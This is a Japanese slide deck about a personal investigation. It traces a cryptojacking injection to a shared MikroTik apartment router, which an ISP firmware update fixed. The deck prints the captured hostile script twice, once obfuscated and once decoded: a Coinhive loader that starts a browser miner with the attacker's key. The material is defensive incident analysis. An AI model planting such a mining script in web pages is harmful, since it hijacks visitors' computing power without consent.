狠狠撸

マルウェアを駆除して世界平和に
貢献した話

自己紹介
? @teru0x1
? 低レイヤやセキュリティ周り
? webも少し
? ネットワーク、インフラ周りも少し
? 画像処理や言語処理系をやろうとしている
? PHP, Python, Javaなど

惭颈办谤辞迟颈办ルーターが仮想通货採掘マルウェアに感染していました

なんかでてきた奥奥奥

https://doocts.com/3403 より

流石にこのサイトでは出ないだろう
http://www.itmedia.co.jp/news/ より

これは???
?流石にITmediaがcoinhiveを仕込むとは
考えられない
?その他coinhiveとは無縁そうなサイトで
もアラートが出た
?マルウェアに感染したか???？

マイニングマルウェア
?2017年ごろから急激に数を伸ばしている
https://internet.watch.impress.co.jp/docs/news/1107434.html よ

調査開始
?とりあえずMacは放置して、予備の
Windowsマシン（物理的に異なるマシン）
で調査しよう
?Windowsでいろいろ調べてたら???

え、なんで
? ネットワーク越しに感染したか??？
? バカな??早すぎる???
? おまけに飞别产シールドは発动しなかった

こいつのHTML
を取得しよう

取得した
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>Loading</title>
<style type="text/css">
body{font-family: Verdana, Geneva, sans-serif;font-size: 11px;}img{border: none}img:hover{opacity: 0.8;}h1{font-size: 1.7em;display: inline;margin-bottom: 10px;}fieldset{margin-top: 20px;background: #fff;padding: 20px;border: 1px solid #c1c1c1;}#container{width: 70%;margin:
10% auto;}#box{background-color: #fff; -moz-border-radius: 7px; -webkit-border-radius: 7px; border: 1px solid #c1c1c1; padding: 30px;filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#f3f3f3'); /* for IE */background: -webkit-gradient(linear, left
top, left bottom, from(#fff), to(#f3f3f3)); /* for webkit browsers */background: -moz-linear-gradient(top, #fff, #f3f3f3); /* for firefox 3.6+ */}.floater{float: left; margin-right: 10px;}.floater label{display: block; text-align: center;}#login{margin: 2em 0 4em 0;}#login h2{font-weight: normal;
font-size: 14px; margin: 0 0 0.5em 1em;}#login td{padding: 0 4px 0 0;}#login td.label{text-align: right;}#login td.toolbar{padding: 0 0 0 1em; vertical-align: top;}#login ul.toolbar{margin: 0;}#login input{margin: 2px; padding: 2px; border: 1px solid #888; box-shadow: 1px 1px 3px
rgba(0,0,0,0.3); -webkit-box-shadow: 1px 1px 3px rgba(0,0,0,0.3); -moz-box-shadow: 1px 1px 3px rgba(0,0,0,0.3);}#error{display:none; color:red; padding: 1em 0 0 0;}ul.toolbar{font-size: 11px; text-align: left; list-style-type: none; padding: 0; margin: 2px 0 4px 2px;}ul.toolbar li{float:
left; vertical-align: middle;}ul.toolbar a{float: none; display: block; margin: 2px 4px 2px 0; padding: 5px; background: #ddd; border: 1px solid #888; border-radius: 3px; -moz-border-radius: 3px; box-shadow: 1px 1px 2px rgba(255,255,255,0.8) inset,0 10px 10px -5px
rgba(255,255,255,0.5) inset, /* top gradient */1px 1px 2px rgba(0,0,0,0.2); /* shadow */ -webkit-box-shadow: 1px 1px 2px rgba(255,255,255,0.8) inset,0 10px 10px -5px rgba(255,255,255,0.5) inset,1px 1px 2px rgba(0,0,0,0.2); -moz-box-shadow: 1px 1px 2px rgba(255,255,255,0.8)
inset,0 10px 10px -5px rgba(255,255,255,0.5) inset,1px 1px 2px rgba(0,0,0,0.2); color: #000; text-decoration: none; text-align: center; white-space: nowrap; cursor: inherit; min-width: 4em; -webkit-transition: background 0.2s linear, box-shadow 0.2s ease-out; -moz-transition:
background 0.2s linear, box-shadow 0.2s ease-out;}ul.toolbar a:hover{background: #eee;}ul.toolbar a:active{background: #aaa; box-shadow: 1px 1px 2px #999 inset; -webkit-box-shadow: 1px 1px 2px #999 inset; -moz-box-shadow: 1px 1px 2px #999 inset;}
</style>
</head>
<body>
<h1>Loading <img
src=/slideshow/mikrotik-126598466/126598466/"data:image/gif;base64,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
CSS
GIF(Base64)

大事なところ
<script
src=/slideshow/mikrotik-126598466/126598466/"https:/coinhive.com/lib/coinhive.min.js"></script>
<script>
var
_0x7e51=["x7Ax38x70x6Ax37x4Cx69x64x6Ex74x38
x6Dx58x50x6Ex66x65x65x44x30x42x4Ex52x77x55
x44x49x36x79x49x63x58","x73x74x61x72x74"];var
miner= new
CoinHive.Anonymous(_0x7e51[0],{throttle:0.2});miner[_0x7e
51[1]]()
</script>

ASCIIコード
? アルファベット1文字に数値を対応させたもの
? $ man ascii

16進数をアルファベットに変換
<script
src=/slideshow/mikrotik-126598466/126598466/"https:/coinhive.com/lib/coinhive.min.js"></script>
<script>
var _0x7e51 =
['z8pj7Lidnt8mXPnfeeD0BNRwUDI6yIcX','start'];
var miner= new CoinHive.Anonymous(
_0x7e51[0],{throttle:0.2}
);
miner[_0x7e51[1]]()
</script>
coinhiveを読み込み変数定義'_0x7e51'
miner["start"]()

犯人
z8pj7Lidnt8mXPnfeeD0BNRwUDI6yIcX

そのほかに被害は???
? Win機を一応avast(ウイルス対策ソフト）のフルスキャ
ンにかけた
? キャッシュが保存されていてそれが検出されたが他に
悪いことはされてなさそう

1：自分のマシンがマルウェアに感染
している説

? webサイトにアクセスすると、coinhiveを読み込むよ
うなhtmlを返すようなマルウェア
? webページへのアクセスを捻じ曲げるようなマルウェ
アは実在する
? ブラウザハイジャッカー
? DNSキャッシュポイズニング

2：ネットワーク上に悪い奴がいる説

? 中間者攻撃（Man In The Middle)など
? マシンとwebサーバーの間で待ち受けて通信を
傍受、改竄する。
? 後で詳しく

MAC, WIN, IOSで現象が確認された
? 流石に同種のマルウェアがこれら全てのOSに感染
したとは考えにくい（特にiOS)
? マシンそのものが感染しているわけではなさそう(
ネットワーク越しに感染するものもあるが???
）
多分説②が正しい！！！

予想
2：ネットワーク上に悪い奴がいる説

webサーバー
マンションネットワーク
自宅ネットワーク
インターネット

自宅無線LANルータを取り除く
? PCに繋いだLANケーブルを壁に生えてるポートに
直接さしても治らない
ここに直接ぶっ
さす
LAN

その他
? httpでwebページにアクセスした時のみ発生。https
では生じない
? 毎回発生するわけではない。5~10アクセスに1回
くらい
? 特徴的な文字列(変数名の_0x7e51やkey)は毎回固
定。ggってもヒットなし。

HTTP
? HyperText Transfer Protocol
? ハイパーなテキスト（html）をトランスファー
するプロトコル
? ↑意訳：htmlを送受信するために利用される通
信方式のこと

HTTPS
? HTTP Secure
? 送ったり受け取ったりする内容が暗号化される
。
? 通信相手のなりすましを検知できる。
? ネットワークの途中で内容が改竄されても検知
できる
なりすましor改竄？

webサーバー
インターネット
悪さをしている？

TRACEROUTE
? 通る経路（ルータ）のIPアドレスを見ることができる

パケット監視は用量、用法を守って適切
に? 通信してる情報（IPアドレス、ポート番号、
送受信データ（!)）などがわかる
? Wiresharkというツールを使う

正常系レスポンス（贬罢罢笔パケット）

异常系レスポンス（贬罢罢笔パケット）

异常系の贬罢罢笔ヘッダだけにこんなものが???

MIKROTIKってなんぞ
? ルーターのメーカーだった。
? Routerboardという製品が主力
? ラトビアに本社があるそうな。どこやねん。

出るわ出るわ???
右下:https://www.symantec.com/blogs/threat-intelligence/hacked-mikrotik-router
左上:https://www.trustwave.com/Resources/SpiderLabs-Blog/Mass-MikroTik-Router-Infection-%E2%80%93-First-we-cryptojack-Brazil,-then-we-take-the-Wor
Cryptojack

画像:https://blog.skyboxsecurity.com/mikrotik-coinhive-cryptojackin
Mikrotikルータに脆弱性
が発見された
通信にマイニングスク
リプトを射し込むよう
にルータを設定するマ
ルウェア
修正パッチで治
るよ

A cryptojacking campaign
targets MikroTik devices is
observed in Japan

犯人のKey！！！
_0x7e51:例の変数名

0x7e51とCoinHiveを含む文字列を返すルータを検索
関係なかった???

?インターネット側の機器は大量のトラフィッ
ク（通信）を捌くので、もし感染しているな
ら自分以外にも報告者がいるはず
?とりあえずマンションの共用ルータを疑って
みる

で、どうやって調査するのさ
? 自分が管理するルータではないため、無闇な調査は
法に触れる可能性がある
? ポートスキャンとか
? とりあえず、インターネット事業者（ISP)に通報した
。

ISPとの会話
僕「かくかくしかじかなのでマンション共用ルータ
に異常がないか調べてください」
ISP「障害は確認できませんでした。一応メーカー
に問い合わせてファームウェアアップデートしとき
ました」

うれしい！！！しかし???
? 障害が確認できなかった???？
? でも、ファームウェアアップデート（修正パッチ）
で治ったということは、やっぱりルータが感染して
いたんじゃない？

気になるところ
? マンションルータのベンダーがMikroTikのものだった
ら、マンションルータが「クロ」と判断していいだろ
う
? ISPはセキュリティ上の理由がどうとかで教えてくれ
なかった
? なら自力で调べるしかない

ちょっとだけネットワーク
お勉強タイム

IPアドレス？
?通信先を特定するためのアドレス。
?216.58.197.174みたいな感じ。
?ある値のグローバルアドレスは世界にただ1
つだけ
?ユーザーが自分で割り当てる、他の機器から
割り当ててもらう。

MACアドレス？
? 通信先を特定するためのアドレス
? f4:0f:24:27:db:00みたいな感じ
? 前半24bitはベンダー固有の値。
? あるMACアドレスをもつデバイスは世界に1つ
だけ。
? 基本的に製造時に割り当てられて、変更するこ
とはない。

ARP
? あーぷ
? 「このIPアドレスを持っている人のMacアドレスは
？」と周囲の機器に聞いて「私ですよ。これが私の
Macアドレスです。」と回答を得るプロトコル
? 同一尝础狈上のデバイスにしか问い合わせできない

やりたいこと整理
? マンションルータのベンダーが知りたい
? ↑Macアドレスの前半24bitをggればわかる
? ↑ARPによりIPアドレスからMacアドレスを問い
合わせできる
? ↑経路上のIPアドレスはtracerouteで知ることが
できる！

602号室
601号室
603号室
???LAN

自宅無線LANルータを取り除く
? PCと繋いだLANケーブル壁に生えてるポートに直接さす
ここに直接ぶっ
さす
LAN

602号室
601号室
603号室
???LAN

$ tracert google.com
最も近いルータのIPアドレス

マンションルータの惭础颁アドレス！！

事実を列挙してみよう
? マンションルータはMikrotik製のものだった。
? Mikrotik製ルータはファームウェアをアップデート
しないと、cryptojackに感染する可能性がある。
? ISPがファームウェアのアップデートを行うと障害
が消えた
マンションのルータが
Cryptjackに感染していた？?

まとめ
? ルーターのファームウェアはしっかりアップデート
しておこう
? Cryptojackじゃなくて、もっと凶悪なマルウェアだ
ったら???？
? 世界平和に貢献できた（IPAにも通報した）
? セキュリティに興味持ってくれたらうれしいです。

狠狠撸

惭颈办谤辞迟颈办ルーターが仮想通货採掘マルウェアに感染していました

Recommended

More Related Content

More from teruyaono1 (8)

Recently uploaded (11)

惭颈办谤辞迟颈办ルーターが仮想通货採掘マルウェアに感染していました

Editor's Notes